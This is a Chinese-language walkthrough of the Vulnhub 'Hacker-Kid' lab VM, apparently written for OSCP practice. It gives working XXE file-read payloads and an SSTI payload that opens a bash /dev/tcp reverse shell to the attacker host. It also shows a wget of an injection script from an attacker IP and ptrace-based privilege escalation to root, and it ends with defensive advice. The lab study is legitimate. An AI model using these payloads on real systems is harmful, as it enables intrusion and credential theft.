OSCP-Vulnhub靶机记录-hacker-kid-walkthrough
字数 1529 2025-08-12 11:34:33
OSCP Vulnhub靶机记录:Hacker-Kid Walkthrough 详细教学文档
靶机概述
- 靶机名称:Hacker-Kid
- 难度等级:中等
- 靶机下载地址:https://www.vulnhub.com/entry/hacker-kid-101,719/
- 攻击环境:Kali Linux (192.168.52.129)
- 目标IP:192.168.52.134
初始信息收集
1. 网络发现
使用arp-scan识别目标IP:
arp-scan -l
发现目标IP为192.168.52.134
2. 端口扫描
使用nmap进行端口扫描:
nmap -sV -p- 192.168.52.134
关键发现:
- 80端口:HTTP服务
- 53端口:DNS服务
Web应用枚举
1. 初始访问
访问80端口HTTP服务,发现页面提示"DIG",暗示DNS枚举的可能性。
2. 页面源代码分析
查看页面源代码,发现page_no作为GET参数:
http://192.168.52.134/?page_no=1
尝试直接访问被拒绝,需要使用Burp Suite进行进一步测试。
3. Burp Suite拦截修改
使用Burp拦截请求,修改page_no参数:
- 尝试
page_no=21成功,获得子域名:hackers.blackhat.local
4. DNS枚举
将发现的子域名添加到/etc/hosts:
192.168.52.134 hackers.blackhat.local
访问该子域名发现新内容,继续枚举发现另一个子域名。
XXE注入漏洞利用
1. 发现XXE漏洞
在新发现的子域名页面中,发现XML格式的数据传输,可能存在XXE注入漏洞。
2. 利用XXE读取文件
使用以下XXE Payload:
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<email>&xxe;</email>
成功读取/etc/passwd文件,发现用户saket具有登录shell:
saket:x:1000:1000:,,,:/home/saket:/bin/bash
3. 获取更多信息
使用base64编码和php协议读取.bashrc文件:
php://filter/convert.base64-encode/resource=/home/saket/.bashrc
解码后发现用户名和密码凭据。
Tornado Web Server利用
1. 登录9999端口
使用获取的凭据saket成功登录9999端口的Tornado Web Server。
2. 参数注入测试
发现name参数可通过GET方法传递,测试SSTI注入:
http://192.168.52.134:9999?name={{7*7}}
确认存在服务器端模板注入漏洞。
3. 反弹shell
构造SSTI Payload获取反向shell:
{% import os %}{{os.system('bash -c "bash -i >& /dev/tcp/192.168.52.129/9001 0>&1"')}}
URL编码后发送请求,同时在攻击机监听:
nc -nvlp 9001
4. 升级shell
获取基本shell后升级为交互式shell:
python3 -c 'import pty;pty.spawn("/bin/bash")'
权限提升
1. 检查特殊权限
检查具有特殊权限的二进制文件:
/sbin/getcap -r / 2>/dev/null
发现python2.7具有cap_sys_ptrace+ep能力。
2. 进程注入提权
使用进程注入技术进行提权:
- 下载提权脚本
inject.py:
wget http://attacker-ip/inject.py
- 批量尝试root进程注入:
for i in `ps -ef|grep root|grep -v "grep"|awk '{print $2}'`; do python2.7 inject.py $i; done
- 检查5600端口是否开启,确认注入成功。
3. 获取root权限
攻击机连接目标5600端口:
nc 192.168.52.134 5600
成功获取root权限。
关键知识点总结
- DNS枚举:通过DIG提示发现子域名,是信息收集的重要环节
- XXE注入:利用XML外部实体注入读取系统文件
- SSTI漏洞:Tornado Web Server的服务器端模板注入漏洞利用
- Capabilities提权:利用python2.7的cap_sys_ptrace能力进行进程注入
- 反向shell技巧:通过SSTI执行系统命令获取反向连接
防御建议
- 禁用XML外部实体解析以防止XXE攻击
- 对用户输入进行严格过滤,防止模板注入
- 限制二进制文件的capabilities权限
- 定期更新和修补Web应用框架
- 实施最小权限原则,避免过度授权